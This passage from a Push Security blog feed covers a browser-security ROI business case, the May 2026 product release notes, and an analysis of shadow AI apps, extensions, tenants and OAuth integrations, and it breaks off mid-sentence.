href="https://www.crowdstrike.com/en-us/global-threat-report/"><u>CrowdStrike&#39;s 2026 data</u></a> shows 82% of attack detections are now malware-free. A new capability is needed to address this new playbook, and browser security closes that gap by detecting attacker behavior inside the session, where these attacks actually execute.</p></li><li><p><a href="https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/"><u>Unit 42</u></a> found that identity weaknesses played a material role in almost 90% of their investigations, and across more than 750 incident response engagements, 48% involved browser-based activity.</p></li><li><p><a href="https://services.google.com/fh/files/misc/m-trends-2025-en.pdf"><u>Mandiant&#39;s data</u></a> tells a similar story: threat actors exploited identity issues to gain initial access in 83% of incidents involving cloud and SaaS environments.</p></li></ul><p><b>Identity-based attacks executed via the browser are now the dominant attack pattern.</b> That framing works in a budget conversation because it identifies a gap rather than asking to improve something that&#39;s already covered by an existing solution. It&#39;s also reinforced by the fact that the breaches and groups behind them like Scattered Spider were all reported on by the mainstream media, meaning non-security stakeholders are likely to already be somewhat aware of the risks and potential implications of them being realized.</p><hr/><h1><b>The economic case: five value drivers</b></h1><p>Those strategic imperatives establish why something needs to be done, but they don&#39;t quantify the cost of inaction or demonstrate how the investment pays for itself. A CFO wants to see where the money comes from, what existing spend it offsets, and what measurable return it delivers. The economic investment case draws on five distinct value drivers, each grounded in capabilities specific to operating inside the browser session.</p><p>To illustrate the potential economic impact, each value driver below includes an estimate for a hypothetical 1,000-employee US technology company called ACME. The assumptions used are conservative and the benchmarks are publicly available. And while your own numbers will differ, the methodology used is transferable. </p><p>Using these estimates, ACME can conservatively expect a return of <b>$435K–$925K in combined annual value from direct labor savings, risk-adjusted cost avoidance, and accelerated productivity gains.</b></p><h2>1. Avoided breach costs</h2><p>This is the largest single value driver, but it&#39;s also the hardest to measure because the return is defined by the absence of an event rather than the presence of a saving. That said, the methodology is well-established in risk management, and CFOs already accept this logic for insurance and business continuity investments.</p><p>The detection gap described above has a direct financial consequence: every attack that slips through undetected is a potential breach incurring significant direct and indirect costs. Push helps you avoid these costs by detecting <a href="https://pushsecurity.com/solution/achieve-security-outcomes/stop-account-takeover">browser-native attack TTPs</a> and blocking them in real-time to prevent breaches at the earliest opportunity.</p><p>Even though the breach itself is unrealized, there are tangible leading indicators of success: reduced MTTD/MTTR, and fewer attacks progressing to account takeover or endpoint compromise; the stages at which incidents become more expensive to clean up.</p><p>Quantifying the savings generated by avoiding breaches requires an <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/">estimation of your organization&#39;s breach probability and likely cost</a>.<a href="https://www.ibm.com/reports/data-breach"> IBM&#39;s cost of a data breach report</a> provides industry-specific benchmarks, though a more grounded alternative is to look at the disclosed costs of the breaches mentioned above and assess your exposure to the same techniques:</p><ul><li><p>MGM reported over $100M in direct impact plus a $45M class-action settlement.</p></li><li><p>M&amp;S lost £300M in profits with almost £1B wiped off its market valuation.</p></li><li><p>The JLR breach was severe enough for the UK government to underwrite a $1.5B loan to mitigate supply chain damage.</p></li></ul><p>Your own incident data, red team results, or phishing simulation outcomes will increase accuracy further.</p><p><b>ACME example: </b>IBM&#39;s data puts the average breach cost for a technology company at approximately $4.9M. Assuming a conservative 5–8% annual breach probability, and given that 80% of breaches are now identity-based and execute via the browser, the question is how much of that exposure Push eliminates. Push detects and blocks browser-native, identity-based attacks in real time. Even using a conservative 80% effectiveness estimate <b>the expected annual value is $150K–$250K.</b></p><h2>2. Accelerated and safe AI adoption</h2><p>Without effective AI visibility and control tooling, your security team becomes either the bottleneck for AI adoption or allows the risks to go unchecked. Every month that adoption is restricted or ungoverned has a productivity cost that compounds.</p><p>There&#39;s been plenty of research into the productivity impact of AI:</p><ul><li><p><a href="https://www.nber.org/system/files/working_papers/w31161/w31161.pdf"><u>Stanford and MIT research</u></a> found that workers with access to a generative AI assistant were 14% more productive on average, with novice workers seeing a 34% improvement.</p></li><li><p><a href="https://www.accenture.com/us-en/insights/strategy/productivity-payoff"><u>Accenture&#39;s research</u></a> estimates approximately $7,800 per employee per year in productivity value from generative AI for knowledge workers.</p></li><li><p><a href="https://www.stlouisfed.org/on-the-economy/2025/feb/impact-generative-ai-work-productivity"><u>The Federal Reserve</u></a> independently quantified it at 5.4% of work hours saved, roughly one full working day reclaimed per month.</p></li><li><p><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai"><u>McKinsey&#39;s 2025 data</u></a> shows organizations leading on AI adoption report 5.8x average ROI within 14 months, and they outperform laggards in both profitability and revenue growth.</p></li></ul><p>A browser security platform like Push removes the governance blocker. When you can see which AI tools employees are using, what data they&#39;re sharing, and what permissions they&#39;ve granted, and enforce policy in real time, the answer to &quot;can our people use this?&quot; shifts from &quot;not yet, we need to assess the risk&quot; to &quot;yes, with our sensible guardrails.&quot;</p><p>Push delivers this by discovering every AI web app, browser, browser extension, and OAuth integration in use. It monitors data sharing through file uploads and clipboard activity, tracks OAuth consent flows where AI services request access to corporate tenants, and enforces policy at the point of action. This allows your team to very quickly get a handle on AI usage, mitigate risks and guide the business on how to best drive safe adoption.</p><p><b>ACME example: </b>for a 1,000-employee technology company where 60% of the workforce are knowledge workers, accelerating safe AI adoption by three to six months for 25–40% of those workers captures <b>$150K–$400K</b> in productivity value.</p><h2>3. Greater return from existing security investments</h2><p>Push generates direct labor savings in two ways that other tools can&#39;t replicate.</p><p><b>First, identity hygiene remediation at scale.</b> Push&#39;s customer data shows that for every 1,000 employees, an organization will typically have just over <a href="https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/">2,500 identity security vulnerabilities</a> (missing MFA or weak, breached, reused passwords, etc).</p><p>Without Push, you could conservatively estimate that each vulnerability takes 5–10 minutes to resolve manually (inclusive of project management and reporting time) which translates to between 26 and 52 FTE days per thousand employees. <a href="https://pushsecurity.com/solution/achieve-security-outcomes/harden-unmanaged-identities">Push automates this through in-browser guardrails</a> that prompt users to fix issues at the point of login. That&#39;s thousands of identity vulnerabilities resolved without a single ticket being filed, and weeks of analyst time recovered annually at fully burdened rates.</p><p><b>Second, investigation efficiency.</b> Push detects attacks at the earliest and safest opportunity, as the attacker is attempting to gain initial access via the browser. The telemetry Push provides analysts with <a href="https://pushsecurity.com/solution/achieve-security-outcomes/investigate-browser-related-incidents">accelerates their investigations across both external and insider threats</a>.</p><p>Here’s one example of that in action: Push eliminates <a href="https://pushsecurity.com/blog/verified-stolen-credential-detection/">over 99% of compromised credential false positives</a> in common TI feeds by only surfacing credentials actively being used and observed in the browser. Much like the first direct labour saving, Push saves your team weeks of effort confirming false positives and investigating complex account compromise incidents. It also reduces the likelihood of an incident progressing to the stage where a (costly) external incident response provider is needed. </p><p>By automatically remediating identity security issues at scale, and accelerating investigations, Push eliminates much of the work that analysts typically find tedious and frustrating: manually chasing password resets, triaging false positives, <a href="https://pushsecurity.com/blog/fixing-secops-alert-fatigue-with-browser-telemetry/">trawling through web proxy logs</a>. Removing that work means they can spend more time on the interesting, high-value aspects of their roles, which directly improves morale and retention.</p><p>In a market where replacing a fully ramped security analyst costs 80–150% of their annual salary and the new hire takes months to reach the same productivity, reduced attrition generates its own measurable saving in avoided recruitment, training, and lost productivity during the ramp-up period.</p><p>In addition to direct labor savings, Push improves the return on every other security investment in your stack. Browser-layer telemetry feeds into SIEM and SOAR platforms, enriching correlation rules and enabling custom detections that weren&#39;t previously possible, a multiplier on the value you&#39;re already getting from your existing security investments.</p><p><b>ACME example: </b>Automated identity remediation across approximately 2,500 vulnerabilities recovers $25K–$35K in analyst time annually. Investigation efficiency gains from earlier detection and the elimination of compromised credential false positives save a further $45K–$65K. Reduced analyst attrition, driven by the removal of tedious manual work, avoids $15K–$25K in recruitment and ramp-up costs. Combined, this value driver represents <b>$85K–$125K annually</b>.</p><h2>4. Reduced compliance and audit exposure</h2><p>Every major security compliance framework — SOC 2, ISO 27001, HIPAA, PCI DSS, NIST, GDPR — requires MFA on accounts, strong and unique passwords, and visibility into which third-party applications are being entrusted with corporate data. These are foundational requirements and they apply across every application employees use, not just the ones IT has provisioned. Self-adopted Shadow IT and unmanaged identities create compliance gaps against these requirements that most organizations don&#39;t know they have until an auditor finds them.</p><p><a href="https://pushsecurity.com/resources/mfa-regulation-compliance"><u>The consequences of gaps in these controls are increasingly financial.</u></a> The City of Hamilton had its $18.3M cyber insurance claim denied after a ransomware attack because MFA wasn&#39;t fully implemented. The insurer ruled that incomplete MFA coverage voided the policy. <a href="https://pushsecurity.com/blog/what-the-expansion-of-nydfs-nycrr-part-500-means-for-mfa-compliance/">NYDFS has levied $14 million in fines</a> from companies with inadequate MFA. These aren&#39;t hypothetical risks, and they apply to requirements that Push can help you meet continuously rather than scrambling to find evidence during an audit or after an incident.</p><p>Push addresses these compliance requirements directly. It <a href="https://pushsecurity.com/solution/achieve-security-outcomes/secure-shadow-saas">discovers every application employees actually use</a> — directly from the login event in the browser, not from network traffic patterns. It also observes the authentication method, password strength, and MFA status for each account. The inventory provided by Push replaces weeks of manual spreadsheet work during audit preparation and gives your GRC team continuous evidence rather than a point-in-time snapshot assembled under pressure.</p><p><b>ACME example: </b>Push&#39;s automated inventory and continuous compliance evidence replaces approximately 1,000 hours of annual audit preparation effort, generating $8K–$25K in direct savings. The larger value is in risk avoidance: assuming a conservative 3–5% annual probability of a compliance-related financial event (e.g. a denied insurance claim or a regulatory fine) and an average impact of $5–8M, even a 30% reduction in that exposure represents $45K–$120K in expected annual value. <b>Combined: $50K–$150K</b>.</p><h2>5. Consolidated capability and reallocated spend</h2><p>Push delivers against a <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/">wide range of use cases</a> — threat detection, AI governance, identity security, investigation support — that would otherwise require separate point solutions to address. That breadth of coverage from a single platform and deployment creates natural opportunities to consolidate spend.</p><p>AI governance is the most immediate example. Nearly every enterprise is evaluating standalone AI monitoring tools right now, and the price tags are significant. If your browser security platform already delivers the AI visibility and control capabilities like Push&#39;s described above — app discovery, data sharing monitoring, OAuth consent tracking, real-time policy enforcement — the case for a separate AI governance purchase weakens considerably. Paying separately for a tool that only does AI governance, when your browser security platform delivers it alongside detection, identity security, and investigation capability, is a hard spend to justify.</p><p>There&#39;s also a broader resource reallocation opportunity. Platforms like Push represent a new generation of security tooling that addresses the challenges posed by modern work and cyber attacks. The ROI they provide is high now and is likely to increase as the platform evolves alongside the threats and risks it addresses. Meanwhile, much of the legacy stack is moving in the opposite direction.</p><ul><li><p>Network-centric tools like <a href="https://pushsecurity.com/blog/push-plus-network-security/">SWGs and CASBs are becoming increasingly legacy</a> as more activity moves off the traditional network and into the browser.</p></li><li><p>RBI deployments are difficult to justify when a browser extension achieves better security outcomes without the user experience penalty.</p></li><li><p>Phishing simulation programs — whose ROI has long been questioned by practitioners — are harder to justify when attackers are using AI to craft lures and pages that are indistinguishable from the real thing for even the most trained employees. If your browser security platform is already blocking real phishing attempts and delivering contextual security guidance at the actual point of risk, the marginal value of a simulation exercise weeks later diminishes considerably.</p></li></ul><p>As legacy tooling becomes less relevant and more commoditized, you should expect to spend less on it. What you save can then be reallocated towards capabilities like Push that address the current threat landscape rather than the previous one legacy tools were designed for.</p><hr/><h1><b>Investment risk management</b></h1><p>The final component of the business case is assessing the investment risk. Given that browser security solutions are typically a new capability, and therefore a new form of investment, there will naturally be questions about how safe an investment it is.</p><p>Browser security takes many forms and approaches, so this section speaks specifically to Push and why it represents a low-risk investment to make.</p><p>Push is simple to deploy. It installs as a browser extension via existing MDM tooling — it works on the browsers employees already use, with no migration to a new browser, no user retraining, and no change to workflows. <a href="https://pushsecurity.com/customer-stories">Customers have rolled Push out to over 100,000 users in under an hour</a> during normal office hours with zero downtime.</p><p>You start seeing findings and detections from day one, not after a months-long implementation project. That compresses time-to-value to a matter of hours, which directly de-risks the investment from a finance perspective. Push&#39;s high-fidelity telemetry results in a negligible false positive rate, minimizing the operational cost of running the platform. Push integrates into your existing security workflows and tools, like your SIEM, SOAR, and IdP, and doesn&#39;t require a dedicated team to manage, so you gain a new capability without taking on a new operational burden.</p><p>Push supports advanced security teams in highly targeted and regulated industries, with over 3 million browsers deployed worldwide. As one of the first browser security extensions, launched in 2022, Push has one of the longest track records in the space, and its research team regularly discovers novel attack techniques, including <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a>,<a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/"> ghost logins</a>,<a href="https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/"> SAMLjacking</a>, and regularly publishes campaign analysis referenced across the security community.</p><p>Finally, Push actively hunts for new and novel threats across your estate using its research and <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic detection pipeline</a>, with no customer input required. That means you remain protected as the threat landscape evolves, and the capability continues to advance and deliver recurring value over the full contract period without additional effort from your team.</p><hr/><h1><b>Where has the budget actually come from for Push’s customers?</b></h1><p>Push&#39;s customers have funded their browser security investment through several well-established routes:</p><ul><li><p>Many teams had funded projects to increase their <a href="https://pushsecurity.com/solution/achieve-security-outcomes/secure-ai">visibility and control over AI use</a> in their organizations. Push gave them the instrumentation they needed to address their needs while also allowing them to address other valuable security use cases.</p></li><li><p>Push is frequently purchased following a security incident such as an <a href="https://pushsecurity.com/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks">AitM phishing breach</a> or a <a href="https://pushsecurity.com/solution/stop-browser-based-attacks/clickfix-fix-variants"><u>ClickFix breach</u></a> that existing tools failed to detect and stop.</p></li><li><p>Another leverage point has been <a href="https://pushsecurity.com/solution/tool-replacements/cloud-access-security-broker"><u>CASB</u></a>, <a href="https://pushsecurity.com/solution/tool-replacements/secure-web-gateways">SWG</a>, and <a href="https://pushsecurity.com/solution/tool-replacements/remote-browser-isolation">RBI</a> renewals. The browser-native capabilities of a tool like Push let you either replace or reduce the scope — and cost — on those contracts without losing coverage.</p></li><li><p>A number of Push customers rolled out <a href="https://pushsecurity.com/solution/achieve-security-outcomes/secure-chromebooks">Chromebooks</a> to parts of their workforce and used the savings that generated to pay for Push. These devices fell outside of their standard EDR coverage and they found that Push provided all the visibility and protection they needed for Chromebook users.</p></li><li><p>But overall, most customers choose to build the net-new case using ROI projections alone. Push customers see direct savings that cover the cost of deploying Push and indirect savings that run into the millions of dollars. <b>For every $1 invested, Push generates a return of $5 - $15 through a mixture of direct and indirect savings aligned to the five economic value drivers.</b></p></li></ul><h2><b>Strengthening your case with PoV data</b></h2><p>One practical step that strengthens any business case significantly is to <a href="https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/">run a proof of value</a>. A PoV deployment generates findings specific to your organization: real instances of employees being targeted in their browsers, the actual scale of your identity attack surface, and concrete shadow SaaS and AI usage data.</p><p>That evidence can be far more compelling to a CFO than generic industry benchmarks, and it hones the projected value from the framework using real-world data taken from your own environment. </p><p>The drawback is that the kind of PoV that generates this type of evidence requires more time and effort to run. Security teams typically opt for this approach when they know they&#39;ll encounter stronger resistance to budget being made available and they&#39;ll really need to evidence the need in absolutely concrete terms.</p><hr/><h1><b>Closing thoughts: “nothing worth having comes easy”</b></h1><p>The budget conversation for browser security takes more work than it does for a like-for-like tool replacement — but the security leaders who&#39;ve been through it consistently find that the economic case is stronger than they expected going in. </p><p>Both strategic imperatives are grounded in data any CFO can verify independently, the financial impact is quantifiable across multiple dimensions, and the routes to funding are well-established across organizations that have already made this investment.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p>Book a <a href="https://pushsecurity.com/demo/">live demo</a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>Product release: May 2026</title>
      <link>https://pushsecurity.com/blog/product-release-may-2026</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/product-release-may-2026</guid>
      <pubDate>Fri, 29 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Andy Waugh</dc:creator>
      <category>Release notes</category>
      <description>Here’s what’s new on the Push platform for May 2026.</description>
      <content:encoded><![CDATA[<h1>What’s new this month</h1><ul><li><p>Custom detections</p></li><li><p>File download telemetry</p></li><li><p>Prevent password entry into non-password fields</p></li><li><p>Expansion of Events window to 30 days</p></li></ul><h1>Create your own custom detections</h1><p>You can now write your own detections using Push’s real-time detection engine to target specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.</p><p>Rules are written in YAML in the Push admin console. You can define a response action (e.g. Warn or Block) and customize the end-user message, similar to other Push controls.</p><p>Example use cases:</p><ul><li><p>Detect a specific IOC or TTP for campaigns targeting your organization.</p></li><li><p>Partner with your red team to detect custom tooling during pen testing.</p></li><li><p>Alert on specific user behaviors on webpages that point to risk or violate policy.</p></li><li><p>Block unauthorized MCP connections.</p></li></ul><p><a href="https://pushsecurity.com/help/audience/engineering/resources/custom-detections">Learn more</a></p><h1>Stream telemetry on file download events</h1><p>You can now consume a feed of file download events into your SIEM or SOAR. These events report file metadata, such as file name, download URLs, and MIME type, as well as whether the download was considered unsafe.</p><p>Events are generated for traditional network-based downloads, but also downloads of files constructed in the browser, such as those via blob or data URLs.</p><p>You can enable this feed for all employees, employee groups, or specific individuals; and for all profiles, profiles logged in with a company domain, or profiles logged in with a non-company domain. Go to <b>Settings &gt; Telemetry &gt; File downloads</b> to configure it.</p><p>Next, we’ll be adding a control that allows you implement a policy around which downloads are permitted from where, so you can block unwanted or potentially malicious files directly at the point of download.</p><p><a href="https://pushsecurity.com/help/10153#start">Learn more</a></p><h1>Prevent password entry into non-password fields</h1><p>You can prevent users from mistakenly entering their password into non-password fields such as username or email fields when they’re signing in to the app that password is associated with.</p><p>You may wish to prevent the entry of passwords into non-password fields particularly for core applications like your identity provider. By blocking incorrect password entry, you can avoid inadvertently recording passwords in your app logs, which can <a href="https://attack.mitre.org/techniques/T1552/001/">introduce security risk</a>.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7m6BPXQ232ZUaRqwMpPptZ/c724034f56f6a46d39dc0f44a9fae1f4/password_entry_tooltip.png" alt="Password entry prevention tooltip - KB 10151"/></figure><p><a href="https://pushsecurity.com/help/10151#start">Learn more</a></p><h1>Events page now displays up to 30 days of data</h1><p>We’ve expanded the storage window for events viewable on the Push admin console Events page to assist with quick triage. It is now 30 days, instead of 7.</p><p>As before, we recommend ingesting Push events into your SIEM for longer-term storage, querying, and correlation.
</p>]]></content:encoded>
    </item>
    <item>
      <title>Shadow AI: what Push data reveals about the scale of the problem</title>
      <link>https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai</guid>
      <pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Risk management</category>
      <category>Browser security</category>
      <description>AI adoption has been a genuine force multiplier for Shadow IT to the point that it may have surpassed the problem of wider Shadow SaaS. </description>
      <content:encoded><![CDATA[<p>Employees have been self-adopting apps, creating unmanaged accounts, and introducing third-party software dependencies into their organizations for years, and the core problem hasn&#39;t changed: unmanaged software expanding your attack surface without your knowledge.</p><p>But the rate at which employees are signing up for AI tools is unprecedented, and the depth of interconnectivity those tools demand is fundamentally different from traditional shadow SaaS. </p><p>AI tools aren&#39;t just standalone apps that employees sign into — they&#39;re increasingly used as agents that drive other applications, pulling data from one platform, acting on another — they are becoming a core that other apps are integrating to, and that users are integrating with their wider SaaS stack. It’s becoming a focal integration point for app access and functionality in a way that&#39;s more comparable to an enterprise cloud platform than a typical SaaS tool. </p><p>Every app connection an employee grants turns that AI tool into a node in a web of interconnected services, which means the more you hook in, the larger the attack surface across all the connected apps — and the greater the blast radius if the account used to access the AI tool is compromised.</p><p>The industry data backs this up. The <a href="https://www.verizon.com/business/resources/reports/dbir/">Verizon DBIR 2026</a> reports that <b>45% of employees are now regular AI users on corporate devices</b>, up from 15% the year before. <a href="https://omdia.tech.informa.com/"><u>Omdia&#39;s 2026 browser security research</u></a> presents a stronger picture, finding that 92% allow employees to use public GenAI applications. However, given that the typical company policy sanctions a small number of approved tools, this means everything else employees are using is unsanctioned by default. In other words: every organization in the survey had unsanctioned AI usage.</p><hr/><h1><b>The state of shadow AI, using Push data</b></h1><p>We analyzed a snapshot of AI activity across Push customers during an average week in April 2026. We wanted to make sure it captured actual activity, not just historical data on apps that were added once and no longer used.</p><p><b>The numbers paint a picture that most security teams will find uncomfortable.</b></p><p>The average organization has <b>16 unique AI apps</b> in active use, <b>17 unique AI browser extensions</b>, and <b>17 unique AI OAuth integrations</b> connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the <i>lowest</i> adoption level is actively using two. </p><p>These are counts of unique products observed in one week, not total installs or connections across the workforce — each unique app, extension, or integration represents a separate AI tool that at least one employee has adopted, so the actual number of individual installs and active sessions across the organization is considerably larger. When the average organization has 17 unique AI extensions deployed, for instance, and many of those are popular tools adopted independently by multiple employees, the per-user footprint adds up quickly.</p><p>If most organizations have sanctioned one or two core AI assistants/platforms for business use, the gap between what&#39;s approved and what&#39;s actually happening is significant.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7vCbQdyRkjLs5EmsjBBAQp/3bfb13e7ec19be76325cdc69297c48c3/ai-sprawl-infographic_2x__3_.png" alt="ai-sprawl-infographic"/><figcaption>AI sprawl is worse than most organizations realize.</figcaption></figure><hr/><h1><b>Understanding the four categories of shadow AI</b></h1><p>Shadow SaaS has always been a problem, but in the context of AI apps there are four categories of shadow IT that security teams need to understand, because each one introduces a different kind of risk and requires a different approach to tackling it.</p><h2><b>Shadow AI apps</b></h2><p>Shadow apps are AI tools that employees have signed up to and are using for business purposes without approval. This is the most visible dimension of the problem, and the one most people think of when they hear &quot;shadow AI&quot; — an employee pastes sensitive internal documents into ChatGPT, uploads confidential files to an AI assistant, or uses an unapproved coding tool to generate production code.</p><p>All of that is sensitive data leaving the organization through channels the security team can&#39;t see - and often accessible using personal accounts that can be compromised on personal devices or workstations. </p><p>The 2026 DBIR&#39;s data loss prevention analysis underscores the scale — shadow AI is now the <b>third most common non-malicious insider action</b> in DLP data, a 4x increase year-over-year. Across 858,000+ DLP events targeting GenAI tools, the most common data types being submitted were source code (28%), images (16%), structured data (14%), documents (13%), and PDFs (10%). That&#39;s not employees asking ChatGPT to fix their grammar — it&#39;s core intellectual property, production code, and internal documentation flowing into platforms the security team has no visibility into. But shadow apps themselves are only the most obvious part of the problem.</p><h2><b>Shadow tenants</b></h2><p>Even when an organization has approved an AI tool — say, an enterprise ChatGPT deployment — employees frequently access the same app with personal accounts, creating shadow tenants that sit entirely outside organizational control. The DBIR found that <b>67% of GenAI users on corporate devices are using non-corporate accounts</b>, and our own data shows that <b>38% of file uploads to AI tools are made from shadow accounts</b> rather than approved organizational ones.</p><p>When an organization approves Claude, ChatGPT, or another core AI platform, you typically also approve the OAuth integration and browser extension for core apps (e.g. M365, Google Workspace, and so on). When that integration is approved, it is approved for all tenants — not just your corporate tenant. </p><p>This is a perfect example of where<b> </b><a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/evil-twin-integrations"><b><u>Evil Twin</u></b></a><b> </b>opportunities are likely to be abused by attackers. If you’re not familiar, this is where an attacker can effectively hide a malicious integration where an existing connection for that app is already approved, blending in with normal activity. But while historically maybe 1 out of 100 users had an automation tool like Zapier integrated already, the modern equivalent is that a much higher proportion of users already has Claude or ChatGPT integrated.</p><p></p><p>This means that even if you&#39;ve deployed enterprise controls around your sanctioned AI tools — DLP policies, retention settings, admin oversight — more than a third of the file uploads hitting AI tools are bypassing those controls entirely because they&#39;re happening through personal accounts on corporate devices.</p><h2><b>Shadow extensions</b></h2><p>Many AI tools come with a browser extension counterpart, and there&#39;s a large ecosystem of third-party AI extensions that offer everything from writing assistance to automated data extraction. The average organization in our dataset has <b>17 unique AI browser extensions</b> deployed across its workforce, with the highest we observed reaching 163 — and since each of those average 17 different extensions may be installed by multiple employees, the actual number of individual extension installs across the organization is much higher still.</p><p>The extension dimension is particularly concerning because most extensions operate with significant privilege inside the browser — they can read and modify page content, access cookies and session tokens, and interact with virtually every web application an employee uses. As we detailed in our recent analysis of <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/">browser extension risk scoring</a>, at least <b>46.76% of all extensions across Push customers have the permission combinations needed to perform account takeover with no user interaction</b>, and the extensions involved in every major supply chain breach of the past 18 months scored as normal or low-risk beforehand.</p><p>This isn&#39;t just a Push observation —<a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/"> <u>Omdia found that malicious browser extensions were cited by 34% of organizations</u></a> that experienced a browser-based attack, making them the third most common attack type after phishing and data leakage. The<a href="https://www.verizon.com/business/resources/reports/dbir/"> <u>Verizon DBIR 2026</u></a> reports that <b>more than 15% of corporate users had unauthorized AI browser extensions installed</b> — meaning a material share of the workforce is running AI-powered code with broad permissions that no one in security approved or is monitoring. </p><p>AI extensions add a specific wrinkle to this problem: many are branded to look like official companions to well-known AI tools but are actually third-party creations with no affiliation to the original vendor. They&#39;re not necessarily malicious at the point of installation, but they&#39;re exactly the kind of extension that&#39;s likely to be <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/">acquired and weaponized</a> down the line — and in the meantime, they&#39;re collecting data that their permissions entitle them to (which, in most cases, means everything the user can see in their browser).</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/73PW50LMkqoFWmsbxP7pIU/a29ed68622aeb453f618fc1eb9a1a55c/image1.png" alt="Examples of AI imitation apps"/><figcaption>Examples of imitation AI apps observed in active use by Push. Scammy and misleading, but not necessarily malicious (yet), but probably not something you want employees using.</figcaption></figure><h2><b>Shadow integrations</b></h2><p>The fourth dimension — and arguably the most dangerous — is shadow integrations: OAuth connections between AI tools and core enterprise apps that aren&#39;t known or approved by the security team. Even if an organization has approved an AI tool for standalone use, plugging that tool directly into Google Workspace, Microsoft 365, Salesforce, or any other one of the dozen or so SaaS apps in a typical user’s work stack is a fundamentally different risk decision, because it creates a persistent, programmatic bridge between your environment and a third party.</p><p>On average, we see <b>17 unique AI app OAuth integrations per organization</b> in <i>just</i> Google Workspace and Microsoft 365 (to be clear: this number excludes the dozens of downstream apps the AI assistants are integrated with as well), with the highest reaching 55. Each of those represents a unique AI product that has been granted OAuth access — the total number of individual consent grants across users is larger, because popular integrations get authorized by multiple employees independently.</p><p>The actual number of AI-related OAuth connections across the full SaaS estate is considerably higher again, because AI tools that automate workflows need to be connected to be useful — pulling data from one app, analyzing it in another, presenting results in a third.</p><p>MCP connections use OAuth to achieve this interconnectivity in the same way, and AI coding agents create a particularly concentrated version of the risk: a single agent configuration can hold OAuth tokens for Jira, Confluence, Salesforce, GitHub, and more, meaning that compromising one agent — whether through prompt injection, a malicious repository config, or a supply chain attack on an MCP server — yields persistent, broadly scoped tokens for every service it was connected to, tokens that survive session restarts and generate audit log entries indistinguishable from legitimate user activity.</p><p>It&#39;s also worth noting that OAuth blast radius is almost always larger than organizations expect. A single well-permissioned user can expose secrets, dashboards, and internal tooling without tenant-wide admin access. And every new AI tool an employee connects makes the web of abusable permissions a little wider.</p><p>The Vercel breach is a textbook illustration of integration risk. A Vercel employee had connected a consumer-grade AI app from Context.ai into their Google Workspace tenant — most likely a self-service trial that was lightly used and forgotten about. Vercel <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/">wasn&#39;t even a registered customer</a> of Context.ai. When Context.ai was subsequently compromised via an infostealer infection, the attacker leveraged stored OAuth tokens to pivot into the Vercel employee&#39;s Google Workspace account, accessing internal dashboards, API keys, NPM tokens, and GitHub tokens.</p><p>Vercel is far from an isolated case. In 2025, <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Lapsus$ Hunters</a> launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft Drift and Gainsight, impacting over 1,000 organizations and stealing over 1.5 billion records. More recently, Snowflake customers were impacted after a <a href="https://www.bleepingcomputer.com/news/security/snowflake-customers-hit-in-data-theft-attacks-after-saas-integrator-breach/">breach at data anomaly detection company Anodot</a>, where attackers attempted to leverage stolen authentication tokens to access downstream environments.</p><hr/><h1><b>Why shadow AI needs a different solution to shadow SaaS</b></h1><p>The reason it&#39;s worth distinguishing between these four dimensions isn&#39;t academic. Each one requires a different control, and addressing one doesn&#39;t solve the others.</p><p>Blocking unsanctioned AI apps does nothing for the personal accounts accessing approved ones, and neither addresses the average 17 different AI extensions running with broad browser permissions, let alone the dozens of OAuth integrations that have already been granted persistent access to core enterprise apps — and even auditing OAuth in Google Workspace and Microsoft 365, where the controls are relatively mature, leaves the broader SaaS estate unaddressed, where admin tooling is inconsistent and visibility is limited.</p><p>The tooling gap compounds the policy gap. <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/">Omdia found</a> that 58% of organizations rely on secure web gateways to secure GenAI usage — but an SWG can tell you that a user visited ChatGPT, not whether they pasted your source code into the prompt. That link between knowing where data went and knowing what the user actually did is the fundamental visibility gap that makes GenAI policies unenforceable without browser-layer tooling.</p><h2><b>Advice for security teams</b></h2><p>The principles behind managing shadow AI are the same ones that have governed shadow SaaS and software supply chain management for years: default-deny where feasible, comprehensive inventory where it 